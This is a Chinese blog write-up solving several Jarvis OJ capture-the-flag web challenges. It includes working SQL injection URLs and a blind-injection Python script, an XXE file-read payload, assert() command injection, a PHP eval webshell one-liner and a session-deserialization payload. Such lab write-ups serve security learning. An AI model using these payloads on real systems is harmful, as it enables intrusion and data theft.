Jarvis OJ 刷題之旅 【填坑中】


IN A Mess :PHP

連出題人自己都忘了flag放哪了,只記得好像很混亂的樣子。

題目入口:http://web.jarvisoj.com:32780/

題解:

f12獲得源碼:

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = file_get_contents($a,'r');
var_dump(eregi("111".substr($b,0,1),"1114"));
var_dump(substr($b,0,1)!=4);
var_dump($data=="1112 is a nice lab!" );
var_dump(strlen($b)>5);
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

構造:

  • $a控制文件,使得$data=="1112 is a nice lab!" 

偽協議php://input ;在網上發現了一種新的解法記錄一下data類型的Url格式:把小數據直接嵌入到Url中

  • $id不能為0:!$_GET['id']
  • $id為0: $id==0 

弱類型繞過,0aaa

  • $b長度>5
  • $b開頭為4:eregi("111".substr($b,0,1),"1114") 不區分大小寫
  • $b開頭不能為4:substr($b,0,1)!=4)

%00的繞過: strlen函數對%00不截斷但substr截斷

http://web.jarvisoj.com:32780/index.php?id=0a&a=php://input&b=%00411111a

1112 is a nice lab!

?id=0a&a=data:text/html:,1112+is+a+nice+lab!&b=%00411111a

后面就是注入,id=2得時候出現了sql語句

http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=0/*3*/UNIunionON/*3*/SELselectECT/*3*/1,2,database()

?id=-1/*3*/ununionion/*3*/seselectlect/*3*/2,3,group_concat(column_name)/*3*/frofromm/*3*/information_schema.columns/*3*/where/*3*/table_schema=database()%23--

id,context,title

?id=-1/*3*/ununionion/*3*/seselectlect/*3*/2,3,group_concat(id,context,title)/*3*/frofromm/*3*/content%23--


1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666

 

api調用:XXE

請設法獲得目標機器/home/ctf/flag.txt中的flag值。

題目入口:http://web.jarvisoj.com:9882/

題解:

f12看源碼,發現XMLHttpRequest(),考慮是不是可以利用xml。

function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

接下來就是xxe讀取任意文件: 未知攻焉知防——XXE漏洞攻防   淺談XXE攻擊

POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
Content-Length: 126
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://web.jarvisoj.com:9882
Referer: http://web.jarvisoj.com:9882/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=1755625b1f332d-0b33a7f03def68-303464-1fa400-1755625b1f4197
Connection: close

<?xml version="1.0"?>
<!DOCTYPE abcd[
<!ENTITY laolao SYSTEM "file:///home/ctf/flag.txt">]>
<something>&laolao;</something>

 

babyphp:PHP

 題解:

根據about界面的提示,猜有一個git源碼泄露 ,在GitHub上下一個GitHack獲得源碼

python GitHack.py http://web.jarvisoj.com:32798/.git

 index里面有個文件包含的的,看了一下flag.php內容備注掉了,直接訪問沒用

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
var_dump($file);
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert 參數如果是字符串,會被當做php代碼執行

?page='.passthru('cat templates/flag.php').'

#passthru — 執行外部程序並且顯示原始輸出

?page='. system('cat templates/flag.php').'

#system — 執行外部程序,並且顯示輸出

inject:sql普通注入

Hint1: 先找到源碼再說吧~~

題解

  • ctfwebscan掃出源碼index.php~
  • 反引號注入:DESC  `map`  `grade`不會報錯
  • 這里有一個腦洞就是,table名字等於secret_flag(反正我沒想到這個Orz)
  • union做聯合查詢,只要數據的字段數量,就行不在乎類型。返回結果會把這兩個語句查出的結果做一個拼接,第一條的結果在前面,第二條的結果在后面

 

?table=flag` ` union select group_concat(column_name) from information_schema.columns 
where table_schema=database() limit 1,1
-- 列名:flagUwillNeverKnow,username
?table=flag` ` union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
--值:flag{luckyGame~}

 

Simple Injection:sql盲注

很簡單的注入,大家試試?

題目入口:http://web.jarvisoj.com:32787/

題目來源:ISCC2016

題解:

 檢測注入點:username=1' || 1#--

 學到了一種新的繞過姿勢---> /*!*/

/*!SELECT*/ GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema=DATABASE()

MySQL SERVER supports SOME variants OF C-style comments. These ENABLE you TO WRITE CODE that includes MySQL extensions, but IS still portable, BY USING comments OF the FOLLOWING form:

/*! MySQL-specific code */

IN this CASE, MySQL SERVER parses AND executes the CODE WITHIN the COMMENT AS it would ANY other SQL statement, but other SQL servers will IGNORE the extensions. FOR EXAMPLE, MySQL SERVER recognizes the STRAIGHT_JOIN keyword IN the FOLLOWING statement, but other servers will NOT:

SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHEREIF you ADD a VERSION NUMBER AFTER the “!” CHARACTER, the syntax WITHIN the COMMENT IS executed ONLY IF the MySQL VERSION IS greater THAN OR equal TO the specified VERSION number. The TEMPORARY keyword IN the FOLLOWING COMMENT IS executed ONLY BY servers FROM MySQL 3.23.02 OR higher:

CREATE /*!32302 TEMPORARY */ TABLE t (a INT);

The COMMENT syntax just described applies TO how the mysqld SERVER parses SQL statements. The mysql CLIENT program also performs SOME parsing OF statements BEFORE sending them TO the server. (It does this TO determine statement boundaries WITHIN a multiple-statement input line.)

# -*- coding:utf-8 -*-
import requests
import time

url = "http://web.jarvisoj.com:32787/login.php"
def db_length():
    global url
    for i in range(1, 10000):
        sql =  {
            'username':"1'|| LENGTH((/*!SELECT*/  GROUP_CONCAT(schema_name /*!SEPARATOR '@'*/ ) /*!FROM*/ information_schema.schemata))>{}#".format(i),
            'password': "1"
                }
        response = requests.post(url,sql).text
        # print(response)
        print(sql['username'])
        if "用戶名錯誤" in response:
            print("所有數據庫名長:", i)
            return i
def db_name(db_length):
    global url
    table_name = ''
    for num in range(1, db_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!SELECT*/  GROUP_CONCAT(schema_name /*!SEPARATOR*/ "," ) /*!FROM*/ information_schema.schemata),{},1))>{} #'''.format(num,asc),
                'password': "1"
            }
            response=requests.post(url,sql).text
            # print(sql['username'])
            if "用戶名" in response:
                table_name += chr(asc)
                print("數據庫名:", table_name)
                break
def table_length(database):
    global url
    for i in range(1, 10000):
        sql =  {
            'username':'''1'|| LENGTH((/*!SELECT*/ GROUP_CONCAT(TABLE_NAME) /*!FROM*/ information_schema.tables /*!WHERE*/ table_schema="{}"))>{}#'''.format(database,i),
            'password': "1"
                }
        response = requests.post(url,sql).text
        # print(response)
        print(sql['username'])
        if "用戶名錯誤" in response:
            print("所有數據表名長:", i)
            return i
def table_name(table_length,database):
    global url
    table_name = ''
    for num in range(1, table_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!select*/ group_concat(table_name /*!separator "@"*/)  /*!from*/  information_schema.tables /*!where*/ table_schema="{}"),{},1))>{} #'''.format(database,num,asc),
                'password': "1"
            }
            response=requests.post(url,sql).text
            # print(sql['username'])
            if "用戶名" in response:
                table_name += chr(asc)
                print("數據表名:", table_name)
                break
def column_length(table_name,database):
    global url
    for i in range(1, 10000):
        sql = {
            'username': '''1' || length((/*!SELECT*/ group_concat(column_name) /*!FROM*/ information_schema.columns /*!WHERE*/ table_name='{}' /*!and*/ table_schema="{}"))>{} #'''.format(table_name,database,i),
            'password': "1"
        }
        response = requests.post(url, sql).text
        # print(sql['username'])
        if "用戶名" in response:
            print("字段長:", i)
            return i
def column_name(column_length,database):
    global url
    column_name = ''
    for num in range(1, column_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!select*/ group_concat(column_name /*!separator "@"*/)  /*!from*/  information_schema.columns /*!where*/ table_schema={}),{},1))>{} #'''.format(database,num, asc),
                'password': "1"
            }
            response = requests.post(url, sql).text
            # print(sql['username'])
            if "用戶名" in response:
                column_name += chr(asc)
                print("字段名:", column_name)
                break
def data_length(column_name,table_name):
    global url
    for i in range(1, 10000):
        sql = {
            'username': '''1' || length((/*!SELECT*/ group_concat({}) /*!FROM*/ {} ))>{} #'''.format(column_name,table_name, i),
            'password': "1"
        }
        response = requests.post(url, sql).text
        # print(sql['username'])
        if "用戶名" in response:
            print("{}字段長:{}".format(column_name,i))
            return i
def data_detail(data_length,column_name,table_name):
    global url
    data_name = ''
    for num in range(1, data_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!select*/ group_concat({} /*!separator "@"*/)  /*!from*/  {}),{},1))>{} #'''.format(column_name,table_name,num, asc),
                'password': "1"
            }
            response = requests.post(url, sql).text
            # print(sql['username'])
            if "用戶名" in response:
                data_name += chr(asc)
                print("\t>> {}字段名:{}".format(column_name,data_name))
                break
if __name__ == '__main__':
    # db_length()#所有數據庫名長: 33
    # db_name(33)數據庫名: information_schema,injection,test
    # table_length()#所有數據表名長: 5
    # db_list=['injection','test']
    # for d in db_list:
    #     print(d)
    #     table_name(table_length(d),d)#數據表名: admin(injection) ;test里面沒有表
    # column_length('admin') #字段長: 20
    # column_name(20)#字段名: id@username@password(injection)
    # laolao = [ 'id','username','password']
    # for l in laolao:
    #     len = data_length(l,'admin')#password字段長:32
    #     data_detail(32, 'password', 'admin')#password字段名:334cfb59c9d74849801d5acdcfdaadc3(injection) md5 解密-->eTAloCrEP

 

Easy Gallery:文件上傳

"沒有什么防護是一個漏洞解決不了的,如果有,那就....."

題目入口:http://web.jarvisoj.com:32785/

題目來源:ISCC2016

題解:

/upload.php 上傳圖片馬,在/index.php?page=uploads/1603960884.jpg%00 做讀取,用00截斷后面加上的.php,一句話比較麻煩,php的被掰了

<script language="php">@eval_r($_POST[lao])</script>

WEB?:JS

這么簡單的題,是WEB嗎?

題目入口:http://web.jarvisoj.com:9891/

題解:

看到一個輸入框,還以為是xxe或者是注入,原來是前端的認證在app.js里面

t=[]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237,344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = [
    [11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
    [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221],
    [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230],
    [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80],
    [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45],
    [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70,107],
    [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24,249],
    [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158],
    [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98],
    [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141],
    [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119],
    [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94],
    [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123,208],
    [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50,196],
    [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40],
    [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232,123],
    [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249,236],
    [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119],
    [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196],
    [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66],
    [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214],
    [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212],
    [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235],
    [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233,156],
    [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31,198]
]
def P(pwd):
   global t
   for i in pwd:
       t.append(ord(i))
def E():
    global t,o,r
    #25x25
    i=0
    for n in range(25):
        for a in range(25):
            i += t[a] * o[n][a];
            if i != r[n]:
                return 0
def D():
    '''
    numpy.linalg.solve() 函數給出了矩陣形式的線性方程的解。
    https://www.runoob.com/numpy/numpy-linear-algebra.html
    :return:
    '''
    import numpy as np
    global o,r
    x = np.linalg.solve(np.array(o),np.array(r))
    print(x)
    for i in x:
        print(chr(int(np.round(i))),end="")
if __name__ == '__main__':
    # (1x25) * (25x25) = (1x25)
    # ==>>(輸入的密碼的ascii值) * (o矩陣) = (r矩陣)
    D()

 

PHPINFO:序列化

題解:

看源碼new一個Oowo()得時候調用構造函數,將mdzz設置為phpinfo(),程序結束后調用析構函數出發payload。重點是如何觸發發序列化。查了wp才知道這是用到的是session的反序列化。

session.serialize_handler:

  • 該配置主要設定用戶自定義存儲函數,如果想使用PHP內置session存儲機制之外的可以使用這個函數
  • 分類:
    • php_binary :鍵名的長度對應的ascii字符+鍵名+經過serialize()函數序列化后的值
    • php: 鍵名+豎線(|)+經過serialize()函數處理過的值
    • (本題前端設置的是這個)
    • php_serialize: 經過serialize()函數處理過的數組,會將鍵名和值當作一個數組序列化
    • (本題后台處理設置的是這個)
  • Master Value是PHP.ini文件中的內容。
  • Local value 是當前目錄中的設置,這個值會覆蓋Master Value中對應的值
  • phpinfo中的session.save_handler=""設置為了php_serialize

session.upload_progress.enabled:

  • 啟用上傳進度跟蹤,並填充$ _SESSION變量, 默認啟用。
  • (用來向session添加一條記錄)
  • post一個和session.upload_progress.name同名的變量,來使得我們上傳的東西寫入session
  • (查phpinfo得到變量名為PHP_SESSION_UPLOAD_PROGRESS)

看到師傅們的payload都加了轉義,這是因為payload放到里文件名里,filename的用""閉合,所以需要轉義

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

其實也可以不用轉義,放到data里面也行,帶你走進PHP session反序列化漏洞 

Chopper

小明入侵了一台web服務器並上傳了一句話木馬,但是,管理員修補了漏洞,更改了權限。更重要的是:他忘記了木馬的密碼!你能幫助他奪回控制權限嗎?

關卡入口:http://web.jarvisoj.com:32782/

題目來源:ISCC2016

題解:

 emmmm,怎么打都滅用,用了其他師傅的payload也不行,先坑着

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM